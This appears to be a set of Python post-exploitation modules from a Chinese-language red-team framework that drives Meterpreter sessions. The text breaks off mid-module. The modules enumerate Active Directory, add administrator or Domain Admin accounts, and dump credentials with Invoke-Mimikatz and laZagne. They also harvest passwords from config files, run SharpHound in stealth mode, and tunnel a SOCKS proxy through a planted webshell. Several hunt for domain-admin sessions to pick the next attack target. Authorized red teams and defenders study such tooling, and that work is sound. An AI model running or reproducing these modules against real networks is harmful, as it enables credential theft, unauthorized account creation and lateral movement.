class PostModule(PostMSFPowershellFunctionModule): NAME = "域用户组中的用户信息" DESC = "模块获取主机所在域某个用户组中的用户信息,如果主机不在域中,脚本可能报错" MODULETYPE = TAG2CH.Discovery AUTHOR = "Viper" OPTIONS = register_options([ Option( name='GroupName', name_tag="用户组", type='str', required=True, default='Domain Adminis', desc="用户组名称", ), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.set_script("PowerView.ps1") # 设置目标机执行的脚本文件 def check(self): """执行前的检查函数""" session = Session(self._sessionid) if session.is_in_domain is not True: return False, "模块只支持Windows的Meterpreter,且必须在域中" groupName = self.param('GroupName') execute_string = "Get-NetGroupMember -GroupName {}".format(groupName) self.set_execute_string(execute_string) return True, None def callback(self, flag, output): # 调用父类函数存储结果(必须调用) self.store_log(output)
class PostModule(PostMSFPowershellFunctionModule): NAME = "域主机的进程信息" DESC = "模块收集域主机的进程信息,可以输入域内主机名来查看远程主机的进程信息(远程查看需要对应主机开启远程相关权限)" MODULETYPE = TAG2CH.Discovery AUTHOR = "Viper" OPTIONS = register_options([ Option(name='ComputerName', name_tag="主机名", type='str', required=False, desc="需要查询的主机名", ), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.set_script("PowerView.ps1") # 设置目标机执行的脚本文件 self.set_execute_string('Get-NetProcess') def check(self): """执行前的检查函数""" session = Session(self._sessionid) if session.is_windows is not True: return False, "模块只支持Windows的Meterpreter" computerName = self.param('ComputerName') if computerName is None: execute_string = "Get-NetProcess" else: if session.is_in_domain: execute_string = "Get-NetProcess -ComputerName {}".format(computerName) else: return False, "模块只支持Windows的Meterpreter,且必须在域中" self.set_execute_string(execute_string) return True, None def callback(self, flag, output): # 调用父类函数存储结果(必须调用) self.store_log(output)
class PostModule(PostMSFPowershellFunctionModule): NAME = "添加用户到主机" DESC = "添加一个用户到主机,账户权限与session权限相同.\n" \ "当填写'主机名'参数时,模块会自动忽略'用户组(域)''域名称(域)'参数.向域中添加用户时'用户组(域)''域名称(域)'参数必须同时填写" MODULETYPE = TAG2CH.internal AUTHOR = "Viper" OPTIONS = register_options([ Option(name='UserName', name_tag="用户名", type='str', required=True, desc="添加的用户名,请注意不要填写已存在用户", ), Option(name='Password', name_tag="密码", type='str', required=True, desc="添加用户的密码,请注意复杂度要求", ), Option(name='ComputerName', name_tag="主机名", type='str', required=False, desc="主机名称,用户会添加到主机的Administrators组中", ), Option(name='GroupName', name_tag="用户组(域)", type='str', required=False, desc="添加用户到域用户组中(Domain Admins为域管理员组,Domain Users为域用户组", ), Option(name='Domain', name_tag="域名称(域)", type='str', required=False, desc="添加用户到输入的域中", ), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.set_script("PowerView.ps1") # 设置目标机执行的脚本文件 self.set_execute_string('Add-NetUser') def check(self): """执行前的检查函数,函数必须返回值""" username = self.param('UserName') password = self.param('Password') computername = self.param('ComputerName') groupname = self.param('GroupName') domain = self.param('Domain') from PostModule.lib.Session import Session session = Session(self._sessionid) if session.is_windows is not True: return False, "模块只支持Windows的Meterpreter" if computername is not None: execute_string = "Add-NetUser -UserName {} -Password {} -ComputerName {}".format(username, password, computername) elif groupname is not None and domain is not None: if session.is_in_domain: execute_string = "Add-NetUser -UserName {} -Password {} -GroupName {} -Domain {}".format( username, password, groupname, domain) else: return False, "模块只支持Windows的Meterpreter,且必须在域中" else: execute_string = "Add-NetUser -UserName {} -Password {}".format(username, password) self.set_execute_string(execute_string) return True, None def callback(self, flag, output): # 调用父类函数存储结果(必须调用) self.store_log(output)
class PostModule(PostMSFRawModule): NAME = "搜索主机文档类文件" DESC = "搜索并获取主机中所有后缀为doc,docx,ppt,pst,pdf,pptx,xls,xlsx文件路径.\n" \ "(针对C盘模块只搜索用户桌面路径,其他盘符全盘搜索)" MODULETYPE = TAG2CH.Discovery PLATFORM = ["Windows"] # 平台 PERMISSIONS = [ "User", "Administrator", "SYSTEM", ] # 所需权限 ATTCK = ["T1083"] # ATTCK向量 REFERENCES = ["https://attack.mitre.org/techniques/T1083/"] AUTHOR = "Viper" REQUIRE_SESSION = True OPTIONS = register_options([]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.type = "post" self.mname = "multi/gather/locate_useful_documents" def check(self): """执行前的检查函数""" from PostModule.lib.Session import Session session = Session(self._sessionid) if session.is_windows: return True, None else: return False, "当前Session不可用" def callback(self, status, message, data): if status: self.log_status("模块执行完成") for filepath in data: filepath = filepath.replace("\\\\\\\\", "/").replace( "\\\\", "/").replace("\\", "/") self.log_raw(filepath) else: self.log_error("模块执行失败") self.log_error(message)
class PostModule(PostPythonModule): NAME = "获取Session所在域全景图" DESC = "模块用于获取Session所在域的全景信息(用户,主机,组),模块所需Session必须在域中.\n" \ "请注意,模块运行时间与域的大小正相关" REQUIRE_SESSION = True MODULETYPE = TAG2CH.Discovery OPTIONS = register_options([ Option(name='Threads', name_tag="扫描线程数", type='integer', required=True, desc="模块的扫描线程数(1-20)", default=10), Option(name='Domain', name_tag="域名称", type='str', required=False, desc="需要收集信息的域,如果为空则收集Session所在域", default=None), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) def deal_zipfile(self, zippath): azip = zipfile.ZipFile(zippath) zipinfo_jsonlist = azip.namelist() for onejson in zipinfo_jsonlist: strjson = azip.read(onejson).decode('utf-8') if strjson.startswith(u'\ufeff'): # 去除BOM头 strjson = strjson.encode('utf8')[3:].decode('utf8') pyobject = json.loads(strjson) print(pyobject.get('meta')) pass def check(self): """执行前的检查函数""" self.session = Session(self._sessionid, uacinfo=True) if self.session.is_in_domain: pass else: return False, "选择的Session不在域中,请重新选择Session" # 检查权限 if self.session.is_in_admin_group is not True: return False, "当前Session用户不在本地管理员组中,无法执行模块" threads = self.param('Threads') if 1 <= threads <= 20: pass else: return False, "扫描线程设置错误,请重新设置" self.clean_log() return True, None def run(self): # 设置参数 opts = {} opts['LPATH'] = 'SharpHound.exe' opts['SESSION'] = self._sessionid opts['ARGS'] = "" if self.param('Domain') is None: domain_string = "" else: domain_string = "--Domain {}".format(self.param('Domain')) threads_string = "--Threads {}".format(self.param('Threads')) filename = "testteam{}.zip".format(int(time.time())) result_filepath = "{}/{}".format("C:/Program Files/Internet Explorer", filename) execute_string = " --CollectionMethod LoggedOn,All --Stealth --NoSaveCache --ZipFileName {} {} {}".format( result_filepath, domain_string, threads_string) opts['ARGS'] = execute_string self.log_status("信息收集阶段,执行中...") result = MsfModule.run_with_output( type='post', mname='multi/manage/upload_and_exec', opts=opts, _timeout=360) if result.find('Finished compressing files!') > 0: self.log_status("下载结果文件,执行中...") # filedata = self.session.download_file(result_filepath) self.log_good("下载文件完成,文件名: {}".format(filename)) else: self.log_error("生成结果文件失败,退出执行.") # 调用父类函数存储结果(必须调用) self.log_status("执行完成")
class PostModule(PostPythonModule): NAME = "基于Webshell的Socks4代理" DESC = "将Webshell及stinger_server(.exe)上传到已控制的网站并执行stinger_server(.exe)\n" \ "(60010端口监听表示启动成功)\n" \ "然后运行此模块即可启动基于Web服务器所在内网的Socks4服务.\n" \ "webshell及stinger_server(.exe)在<数据管理-文件-stinger.zip>" MODULETYPE = TAG2CH.Command_and_Control PLATFORM = ["Windows"] # 平台 PERMISSIONS = ["User", "Administrator", "SYSTEM", "Root"] # 所需权限 ATTCK = ["T1026"] # ATTCK向量 REFERENCES = ["https://github.com/FunnyWolf/pystinger_for_darkshadow"] AUTHOR = "Viper" OPTIONS = register_options([ Option( name='webshell', name_tag="Webshell地址", type='str', required=True, desc="负责转发请求的Webshell地址", option_length=24, ), Option( name="listenip", name_tag="监听IP", type="enum", required=True, default="127.0.0.1", desc="本地启动Socks5服务的IP地址", enum_list=[ { 'name': "127.0.0.1", 'value': "127.0.0.1" }, { 'name': "0.0.0.0", 'value': "0.0.0.0" }, ], ), Option( name="listenport", name_tag="监听端口", type="integer", required=True, desc="本地本地启动Socks5服务的端口", ), # 配置参数 Option( name="READ_BUFF_SIZE", name_tag="READ_BUFF_SIZE", type="integer", required=True, default=51200, desc="TCP读取BUFF大小(10240-51200,IIS4建议为10240)", ), Option( name="SOCKET_TIMEOUT", name_tag="SOCKET_TIMEOUT", type="float", required=True, default=0.01, desc="TCP连接超时时间(0.01-1)", ), Option( name="SLEEP_TIME", name_tag="SLEEP_TIME", type="float", required=True, default=0.1, desc="连接Webshell的时间间隔(0.01-1)", ), Option( name="SINGLE_MODE", name_tag="SINGLE_MODE", type="bool", required=False, default=False, desc="单客户端模式,控制服务器只处理当前客户端的Socks连接", ), Option( name="CLEAN_SOCKET", name_tag="CLEAN_SOCKET", type="bool", required=False, default=False, desc="启动前清理Server端的所有socket连接", ), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.session = None def check(self): """执行前的检查函数""" global globalClientCenter globalClientCenter = ClientCenter() # 检测本地监听是否可用 LISTEN_ADDR = self.param('listenip') LISTEN_PORT = self.param('listenport') flag = globalClientCenter.setc_localaddr(LISTEN_ADDR, LISTEN_PORT) if flag: pass else: return False, "本地监听启动检测失败,请检查端口是否占用" if LISTEN_ADDR == "0.0.0.0": flag, lportsstr = is_empty_port(LISTEN_PORT) if flag is not True: return False, f"端口: {LISTEN_PORT} 已被占用" if 1 > LISTEN_PORT or LISTEN_PORT > 65535: return False, f"输入的端口超过正常范围." # 检测webshell是否可用 WEBSHELL = self.param('webshell') webshell_alive = globalClientCenter.setc_webshell(WEBSHELL) if webshell_alive: pass else: return False, f"WEBSHELL不可用 : {WEBSHELL}" # 检测服务端是否启动 result = globalClientCenter.setc_remoteserver() if result is None: return False, f"读取REMOTE_SERVER失败,请确认服务端是否启动" else: pass # 设置服务端及客户端参数 # 设置READ_BUFF_SIZE READ_BUFF_SIZE = self.param('READ_BUFF_SIZE') if READ_BUFF_SIZE is None or 10240 > READ_BUFF_SIZE or 51200 < READ_BUFF_SIZE: READ_BUFF_SIZE = 51200 flag = globalClientCenter.sets_config("READ_BUFF_SIZE", READ_BUFF_SIZE) if flag is not True: return False, f"设置服务端READ_BUFF_SIZE失败" else: globalClientCenter.READ_BUFF_SIZE = READ_BUFF_SIZE # 设置SOCKET_TIMEOUT SOCKET_TIMEOUT = self.param('SOCKET_TIMEOUT') if SOCKET_TIMEOUT is None or 0.01 > SOCKET_TIMEOUT or 1 < SOCKET_TIMEOUT: SOCKET_TIMEOUT = 0.01 flag = globalClientCenter.sets_config("SOCKET_TIMEOUT", SOCKET_TIMEOUT) if flag is not True: return False, f"设置服务端SOCKET_TIMEOUT失败" else: globalClientCenter.SOCKET_TIMEOUT = SOCKET_TIMEOUT # 设置CLEAN_SOCKET CLEAN_SOCKET = self.param('CLEAN_SOCKET') if CLEAN_SOCKET: flag = globalClientCenter.send_cmd("CLEAN_SOCKET") # 设置SLEEP_TIME SLEEP_TIME = self.param('SLEEP_TIME') if SLEEP_TIME is None or 0.01 > SLEEP_TIME or 1 < SLEEP_TIME: SLEEP_TIME = 0.1 globalClientCenter.SLEEP_TIME = SLEEP_TIME # 设置SINGLE_MODE SINGLE_MODE = self.param('SINGLE_MODE') globalClientCenter.SINGLE_MODE = SINGLE_MODE return True, None def run(self): global globalClientCenter SOCKET_TIMEOUT = self.param('SOCKET_TIMEOUT') if SOCKET_TIMEOUT is None or 0.01 > SOCKET_TIMEOUT or 1 < SOCKET_TIMEOUT: SOCKET_TIMEOUT = 0.01 result = globalClientCenter.gets_config() if result is None: self.log_error("读取服务端配置失败,请确认服务端是否启动") return else: self.log_good("--- 服务端配置信息 ---") for key in result: self.log_good(f"{key} => {result.get(key)}") globalClientCenter.setDaemon(True) t2 = Socks4aProxy(host=self.param('listenip'), port=self.param('listenport'), timeout=SOCKET_TIMEOUT, bufsize=BUFSIZE) t2.setDaemon(True) globalClientCenter.start() t2.start() self.log_good("启动本地服务完成,开启循环模式") self.store_result_in_result_history() self.clean_log() while self.exit_flag is not True: try: time.sleep(1) except Exception as E: break globalClientCenter.loopJob = False t2.loopJob = False
class PostModule(PostMSFRawModule): NAME = "原始msf模块样例" DESC = "这是一个原始msf模块的样例,执行的是multi/gather/session_info模块" REQUIRE_SESSION = True MODULETYPE = TAG2CH.example OPTIONS = register_options([ Option( name='StrTest', name_tag="字符串测试", type='str', required=False, desc="测试一个字符串参数", ), Option(name='BoolTest', name_tag="Bool测试", type='bool', required=False, desc="测试一个Bool参数", default=False), Option(name='IntgerTest', name_tag="Intger测试", type='integer', required=False, desc="测试一个Intger参数"), Option(name='EnumTest', name_tag="Enum测试", type='enum', required=False, desc="测试一个enum参数", default='test1', enum_list=['test1', 'test2', 'test3']), Option(name=HANDLER_OPTION.get('name'), name_tag=HANDLER_OPTION.get('name_tag'), type=HANDLER_OPTION.get('type'), required=False, desc=HANDLER_OPTION.get('desc'), enum_list=[], option_length=HANDLER_OPTION.get('option_length')), Option(name=CREDENTIAL_OPTION.get('name'), name_tag=CREDENTIAL_OPTION.get('name_tag'), type=CREDENTIAL_OPTION.get('type'), required=False, desc=CREDENTIAL_OPTION.get('desc'), enum_list=[], option_length=CREDENTIAL_OPTION.get('option_length'), extra_data={'password_type': ['windows', 'browsers']}), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.type = "post" self.mname = "multi/gather/session_info" self.runasjob = True def check(self): """执行前的检查函数""" return True, None def callback(self, status, message, data): print(status) print(message) print(data)
class PostModule(PostMSFPowershellFunctionModule): NAME = "获取域内主机正在登录的用户" DESC = "模块收集域内某主机正在登录的用户信息,当主机名为空时默认收集本机正在登录用户信息.\n" \ "当选择收集域内所有主机正在登录的用户信息时,当域内主机较多时模块可能运行超时\n" \ "(此模块运行不稳定)" MODULETYPE = TAG2CH.Discovery PLATFORM = ["Windows"] # 平台 PERMISSIONS = [ "Administrator", "SYSTEM", ] # 所需权限 ATTCK = ["T1033"] # ATTCK向量 REFERENCES = ["https://attack.mitre.org/techniques/T1033/"] AUTHOR = "Viper" OPTIONS = register_options([ Option( name='ComputerName', name_tag="主机名", type='str', required=False, desc="需要查询的主机名", ), Option(name='ALL', name_tag="域内所有主机", type='bool', required=False, desc="收集域内所有主机正在登录用户信息", default=False), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.set_script("PowerView_dev.ps1") # 设置目标机执行的脚本文件 def check(self): """执行前的检查函数""" session = Session(self._sessionid) if session.is_windows is not True: return False, "此模块只支持Windows的Meterpreter" computerName = self.param('ComputerName') if computerName is not None: if session.is_in_domain: execute_string = "Get-NetLoggedon -ComputerName {} | ConvertTo-JSON -maxDepth 2".format( computerName) else: return False, "当填写'主机名'时Session必须在域中" elif self.param('Range'): if session.is_in_domain: execute_string = 'Get-DomainComputer | Get-NetLoggedon | ConvertTo-JSON -maxDepth 2' else: return False, "Session必须在域中" else: execute_string = 'Get-NetLoggedon | ConvertTo-JSON -maxDepth 2' self.set_execute_string(execute_string) return True, None def callback(self, status, message, data): if status: powershell_json_output = self.deal_powershell_json_result(data) if powershell_json_output is not None: if isinstance(powershell_json_output, list): try: for one in powershell_json_output: if one.get('UserName').endswith('$'): continue outputstr = "用户:{} 主机名:{} 登录域:{} 登录服务器:{} 认证域:{}".format( one.get('UserName'), one.get('ComputerName'), one.get('LogonDomain'), one.get('LogonServer'), one.get('AuthDomains'), ) self.log_good(outputstr) except Exception as E: pass elif isinstance(powershell_json_output, dict): one = powershell_json_output if one.get('UserName').endswith('$'): return outputstr = "用户:{} 主机名:{} 登录域:{} 登录服务器:{} 认证域:{}".format( one.get('UserName'), one.get('ComputerName'), one.get('LogonDomain'), one.get('LogonServer'), one.get('AuthDomains'), ) self.log_good(outputstr) else: self.log_error("脚本无有效输出") self.log_error(powershell_json_output) else: self.log_error("脚本无有效输出") else: self.log_error("模块执行失败") self.log_error(message)
class PostModule(PostMSFPowershellFunctionModule): NAME = "域主机的内存密码信息" DESC = "模块收集主机所在域中某个域主机内存中的密码信息.如果没有填写主机名,则抓取本机内存中的密码信息\n" \ "(需要SYSTEM权限或已通过UAC的Administrator权限,模块执行耗时较长)" MODULETYPE = TAG2CH.Credential_Access PLATFORM = ["Windows"] # 平台 PERMISSIONS = ["Administrator", "SYSTEM", ] # 所需权限 ATTCK = ["T1003"] # ATTCK向量 REFERENCES = ["https://attack.mitre.org/techniques/T1003/"] AUTHOR = "Viper" OPTIONS = register_options([ Option(name='ComputerName', name_tag="域主机名", type='str', required=False, desc="填写域中某个主机的名称,可通过<收集所有域主机的信息>获取域主机列表", ), Option(name='MimikatzCommand', name_tag="Mimikatz命令", type='str', required=True, default='privilege::debug sekurlsa::logonPasswords exit', desc="抓取密码的Mimikatz命令,建议保持默认值", ), Option(name='LargeOutPut', name_tag="缓存结果到文件", type='bool', required=True, desc="如果抓取密码不全或预计脚本有大量输出,请选择此项", default=False), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.set_script("Invoke-Mimikatz.ps1") # 设置目标机执行的脚本文件 def check(self): """执行前的检查函数""" session = Session(self._sessionid) if session.is_windows is not True: return False, "模块只支持Windows的Meterpreter" if session.is_admin is not True: return False, "模块需要管理员权限,请尝试提权" computerName = self.param('ComputerName') mimikatzCommand = self.param('MimikatzCommand') largeOutPut = self.param('LargeOutPut') self.set_largeoutput(largeOutPut) if mimikatzCommand is None: mimikatzCommand = 'privilege::debug sekurlsa::logonPasswords exit' if computerName is None: execute_string = "Invoke-Mimikatz -Command '{}'".format(mimikatzCommand) else: if session.is_in_domain is not True: return False, "如果需要抓取域内远程主机的密码信息,Session必须在域中" execute_string = "Invoke-Mimikatz -Command '{}' -ComputerName {}".format(mimikatzCommand, computerName) self.set_execute_string(execute_string) return True, None @staticmethod def search(pattern, data, control): patterns = { 'username': '******', 'isusername': '******', 'password': '******', 'ispassword': '******', 'domain': '\s+\*\s+Domain\s+:\s+', 'isdomain': '\(null\)\s*$', 'LM': '\s+\*\s+LM\s+:\s+', 'isLM': '\(null\)\s*$', 'NTLM': '\s+\*\s+NTLM\s+:\s+', 'isNTLM': '\(null\)\s*$', 'SHA1': '\s+\*\s+SHA1\s+:\s+', 'isSHA1': '\(null\)\s*$', } if (re.search(r'{}'.format(patterns[pattern]), data) and not re.search(r'{}'.format(patterns[control]), data)): result = re.sub(r'{}'.format(patterns[pattern]), '', data).rstrip() if len( result) > 255: # b4 47 c4 d3 03 5b 58 8a 6e 9d f4 异常处理 return False else: return result else: return False def format_dict(self, tmpdict): computerName = self.param('ComputerName') if computerName is None: host_ipaddress = Host.get_ipaddress(self._hid) else: host_ipaddress = computerName if tmpdict.get('Password') is not None: result_str = "用户名:{} 域:{} 密码:{}".format(tmpdict.get('Username'), tmpdict.get('Domain'), tmpdict.get('Password')) self.log_good(result_str) tag = {'domain': tmpdict.get('Domain'), 'type': 'Password'} Credential.add_credential(username=tmpdict.get('Username'), password=tmpdict.get('Password'), password_type='windows', tag=tag, source_module=self.NAME, host_ipaddress=host_ipaddress, desc='') if tmpdict.get('LM') is not None: result_str = "用户名:{} 域:{} LM:{}".format(tmpdict.get('Username'), tmpdict.get('Domain'), tmpdict.get('LM')) self.log_good(result_str) tag = {'domain': tmpdict.get('Domain'), 'type': 'LM'} Credential.add_credential(username=tmpdict.get('Username'), password=tmpdict.get('LM'), password_type='windows', tag=tag, source_module=self.NAME, host_ipaddress=host_ipaddress, desc='') if tmpdict.get('NTLM') is not None: result_str = "用户名:{} 域:{} NTLM:{}".format(tmpdict.get('Username'), tmpdict.get('Domain'), tmpdict.get('NTLM')) self.log_good(result_str) tag = {'domain': tmpdict.get('Domain'), 'type': 'NTLM'} Credential.add_credential(username=tmpdict.get('Username'), password=tmpdict.get('NTLM'), password_type='windows', tag=tag, source_module=self.NAME, host_ipaddress=host_ipaddress, desc='') if tmpdict.get('SHA1') is not None: result_str = "用户名:{} 域:{} SHA1:{}".format(tmpdict.get('Username'), tmpdict.get('Domain'), tmpdict.get('SHA1')) self.log_good(result_str) tag = {'domain': tmpdict.get('Domain'), 'type': 'SHA1'} Credential.add_credential(username=tmpdict.get('Username'), password=tmpdict.get('SHA1'), password_type='windows', tag=tag, source_module=self.NAME, host_ipaddress=host_ipaddress, desc='') def callback(self, status, message, data): if status: output = data.replace('\x00', '') self.log_status("获取密码列表") tmpdict = {'Username': None, 'Domain': None, 'Password': None, 'LM': None, 'NTLM': None, 'SHA1': None} for line in output.split('\n'): username = self.search('username', line, 'isusername') if username: if tmpdict.get('Username') is not None: self.format_dict(tmpdict) tmpdict = {'Username': username, 'Domain': None, 'Password': None, 'LM': None, 'NTLM': None, 'SHA1': None} else: tmpdict['Username'] = username domain = self.search('domain', line, 'isdomain') if domain: tmpdict['Domain'] = domain password = self.search('password', line, 'ispassword') if password: tmpdict['Password'] = password LM = self.search('LM', line, 'isLM') if LM: tmpdict['LM'] = LM NTLM = self.search('NTLM', line, 'isNTLM') if NTLM: tmpdict['NTLM'] = NTLM SHA1 = self.search('SHA1', line, 'isSHA1') if SHA1: tmpdict['SHA1'] = SHA1 else: self.log_error("模块执行失败") self.log_error(message)
class PostModule(PostMSFRawModule): NAME = "CVE-2019-0708 扫描" DESC = "模块使用验证代码扫描目标主机的3389端口,根据目标回复包判断对方是否修复了CVE-2019-0708漏洞.\n" \ "验证模块可以用于内网扫描及外网扫描,验证代码不会导致目标蓝屏." REQUIRE_SESSION = False MODULETYPE = TAG2CH.Lateral_Movement OPTIONS = register_options([ Option(name='startip', name_tag="起始IP", type='str', required=False, desc="扫描的起始IP", ), Option(name='stopip', name_tag="结束IP", type='str', required=False, desc="扫描的结束IP", ), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.type = "auxiliary" self.mname = "scanner/rdp/cve_2019_0708_bluekeep_api" def check(self): """执行前的检查函数""" self.set_option(key='ShowProgress', value=False) # 设置RHOSTS参数 startip = self.param('startip') stopip = self.param('stopip') if startip is None and stopip is None: self.set_option(key='RHOSTS', value=self.host_ipaddress) else: try: ipnum = self.dqtoi(stopip) - self.dqtoi(startip) if ipnum > 25 + 6: return False, "扫描IP范围过大(超过256),请缩小范围" elif ipnum < 0: return False, "输入的起始IP与结束IP有误,请重新输入" self.set_option('RHOSTS', "{}-{}".format(startip, stopip)) except Exception as E: return False, "输入的IP格式有误,请重新输入" return True, None def callback(self, status, message, data): if status: for human_result in data: ipaddress = human_result.get('host') if human_result.get("result") == "VULNERABLE": self.log_good("{} 存在CVE-2019-0708漏洞".format(ipaddress)) Vulnerability.add_vulnerability(hid_or_ipaddress=ipaddress, source_module_loadpath=self.loadpath, extra_data={}, desc=None) elif human_result.get("result") == "UNVULNERABLE": self.log_error("{} 不存在漏洞".format(ipaddress)) elif human_result.get("result") == "UNREACHABLE": self.log_error("{} 无法访问".format(ipaddress)) elif human_result.get("result") == "UNDETECT": self.log_error("{} 检测失败".format(ipaddress)) else: pass else: self.log_error("模块执行失败") self.log_error(message)
class PostModule(PostMSFRawModule): NAME = "收集主机配置文件中的敏感信息" DESC = "模块在主机中搜索包含敏感信息的配置文件(my.ini,tomcat-users.xml等),\n" \ "通过预定义的正则表达式匹配敏感信息(密码,hash等)." REQUIRE_SESSION = True MODULETYPE = TAG2CH.Credential_Access OPTIONS = register_options([]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.type = "post" self.mname = "multi/gather/conf_infos" self.runasjob = False self.re_conf = { 'mysql': { 'my.ini': ['^\s*password\s*='] }, 'tomcat': { 'tomcat-users.xml': ['password\s*='] } } def check(self): """执行前的检查函数""" from PostModule.lib.Session import Session session = Session(self._sessionid) if session.is_alive: return True, None else: return False, "当前Session不可用" def callback(self, status, message, data): if status: for one in data: # [{"path":"c:\\xampp\\mysql\\bin","name":"my.ini","size":5762,"localpath":"1557900758_my.ini"}] conf_files = one.get('files') # {"path":"c:\\xampp\\mysql\\bin","name":"my.ini","size":5762,"localpath":"1557900758_my.ini"} for conf_file in conf_files: self.log_good("发现敏感文件") self.log_status("主机文件路径: {} 文件名: {}".format( conf_file.get('path'), conf_file.get('name'))) self.log_status("下载到本地文件名: {}".format( conf_file.get('localpath'))) self.log_raw('\n') filedata = MsfFile.cat_file(conf_file.get('localpath')) if filedata is None: self.log_error("{} 文件不存在".format( conf_file.get('localpath'))) return filedata = filedata.decode('utf-8', 'ignore') for line in filedata.split('\n'): res = self.re_conf.get(one.get('name')).get( one.get('configfile')) for one_re in res: if re.search(one_re, line): self.log_good("发现敏感信息") self.log_status("主机文件路径: {} 文件名: {}".format( conf_file.get('path'), conf_file.get('name'))) self.log_status("下载到本地文件名: {}".format( conf_file.get('localpath'))) self.log_status("敏感信息: {}".format(line)) self.log_raw('\n') self.log_status("模块执行完成") else: self.log_error("模块执行失败") self.log_error(message)
class PostModule(PostMSFPowershellFunctionModule): NAME = "定位域管理员登录主机" DESC = "模块通过遍历域内所有主机,查找域管理员正在登录的主机,指导下一步攻击目标.\n" \ "(如果模块无结果,可尝试缩小threads再次执行,模块不稳定)" MODULETYPE = TAG2CH.Discovery AUTHOR = "Viper" OPTIONS = register_options([ Option(name='threads', name_tag="扫描线程数", type='integer', required=True, desc="扫描的最大线程数(1-20)", default=5), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.set_script("PowerView_dev.ps1") # 设置目标机执行的脚本文件 def check(self): """执行前的检查函数""" session = Session(self._sessionid) if session.is_in_domain is not True: return False, "模块只支持Windows的Meterpreter,且Session所属用户必须在域中" if session.is_admin is not True: return False, "Session权限不足,请选择管理员权限Session" if session.domain is None: return False, "无法获取Session所在域" threads = self.param('threads') if 1 <= threads <= 20: pass else: return False, "扫描线程参数不正确,请重新设置" # 设置参数 execute_string = "Find-DomainUserLocation -Domain {} -Threads {} -StopOnSuccess| ConvertTo-JSON -maxDepth 2".format( session.domain, threads) self.set_execute_string(execute_string) return True, None def callback(self, status, message, data): if status: powershell_json_output = self.deal_powershell_json_result(data) if powershell_json_output is not None: if isinstance(powershell_json_output, list): try: for one in powershell_json_output: outputstr = "用户:{} 主机名:{} IP地址:{} 主机域名:{} 本地管理员:{}".format( one.get('UserName'), one.get('ComputerName'), one.get('IPAddress'), one.get('UserDomain'), one.get('LocalAdmin'), ) self.log_good(outputstr) except Exception as E: pass elif isinstance(powershell_json_output, dict): one = powershell_json_output if one.get('UserName').endswith('$'): return outputstr = "用户:{} 主机名:{} IP地址:{} 主机域名:{} 本地管理员:{}".format( one.get('UserName'), one.get('ComputerName'), one.get('IPAddress'), one.get('UserDomain'), one.get('LocalAdmin'), ) self.log_good(outputstr) else: self.log_error("脚本无有效输出") self.log_error(powershell_json_output) else: self.log_error("脚本无有效输出") else: self.log_error("模块执行失败") self.log_error(message)
class PostModule(PostMSFExecPEModule): NAME = "获取Windows常用软件密码" DESC = "模块使用lazagne尝试获取系统密码信息,默认功能会尝试获取浏览器存储的密码.\n" \ "(如果需要获取更多密码信息,可尝试使用all参数,但可能会超时)" MODULETYPE = TAG2CH.Credential_Access PLATFORM = ["Windows"] # 平台 PERMISSIONS = ["User", "Administrator", "SYSTEM", ] # 所需权限 ATTCK = ["T1081"] # ATTCK向量 REFERENCES = ["https://attack.mitre.org/techniques/T1081/"] AUTHOR = "Viper" OPTIONS = register_options([ Option(name='Type', name_tag="密码类型", type='enum', required=True, desc="选择需要收集的密码类型,ALL为全部收集", default='browsers', enum_list=[ {'name': '全部', 'value': 'all'}, {'name': '浏览器', 'value': 'browsers'}, {'name': 'windows', 'value': 'windows'}, {'name': 'SVN', 'value': 'svn'}, {'name': 'git', 'value': 'git'}, {'name': '邮箱', 'value': 'mails'}, {'name': 'wifi', 'value': 'wifi'}, {'name': '内存', 'value': 'memory'}, {'name': '数据库', 'value': 'databases'}, {'name': 'php', 'value': 'php'}, {'name': 'sysadmin', 'value': 'sysadmin'}, {'name': 'maven', 'value': 'maven'}, {'name': '聊天工具', 'value': 'chats'}, ]), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.set_pepath('laZagne.exe') if self.param('Type') is None: self.set_args('browsers') else: self.set_args(self.param('Type')) def check(self): """执行前的检查函数""" session = Session(self._sessionid) if session.is_windows: return True, None else: return False, "此模块只支持Windows的Meterpreter" def callback(self, status, message, data): if status is not True: self.log_error("模块执行失败") self.log_error(message) return passwords_dict = [] host_ipaddress = Host.get_ipaddress(self._hid) try: result = re.search('##########OUTPPUTFORJSON=(\S+)', data).groups()[0] passwords_dict = json.loads(base64.b64decode(result)) pass except Exception as E: pass password_count = 0 for user_password in passwords_dict: windows_user = user_password.get('User') passwords = user_password.get('Passwords') if isinstance(passwords, list): # 检查是否抓取到了密码 for category_passwords in passwords: category = category_passwords[0].get('Category') if category in ['Google chrome','Firefox' ]: # 表示是浏览器 for login_password in category_passwords[1]: try: url = login_password.get('URL') except Exception as E: url = None pass if url is not None: url = login_password.get('URL') username = login_password.get('Login') password = login_password.get('Password') Credential.add_credential(username=username, password=password, password_type='browsers', # tag={'url': url, 'user': windows_user, 'browser': category}, tag={'url': url, 'browser': category}, source_module=self.NAME, host_ipaddress=host_ipaddress, desc='') password_count += 1 elif category == 'Mscache': try: for login_password in category_passwords[1]: datalist = login_password.split(':') username = datalist[0] password = datalist[1] domain = datalist[2] tag = {'domain': domain, 'type': 'Mscache'} Credential.add_credential(username=username, password=password, password_type='windows', tag=tag, source_module=self.NAME, host_ipaddress=host_ipaddress, desc=datalist[3]) password_count += 1 except Exception as E: pass elif category == 'Hashdump': try: for login_password in category_passwords[1]: datalist = login_password.split(':') username = datalist[0] sid = datalist[1] password = "******".format(datalist[2], datalist[3]) domain = "local" tag = {'domain': domain, 'type': 'Hashdump', 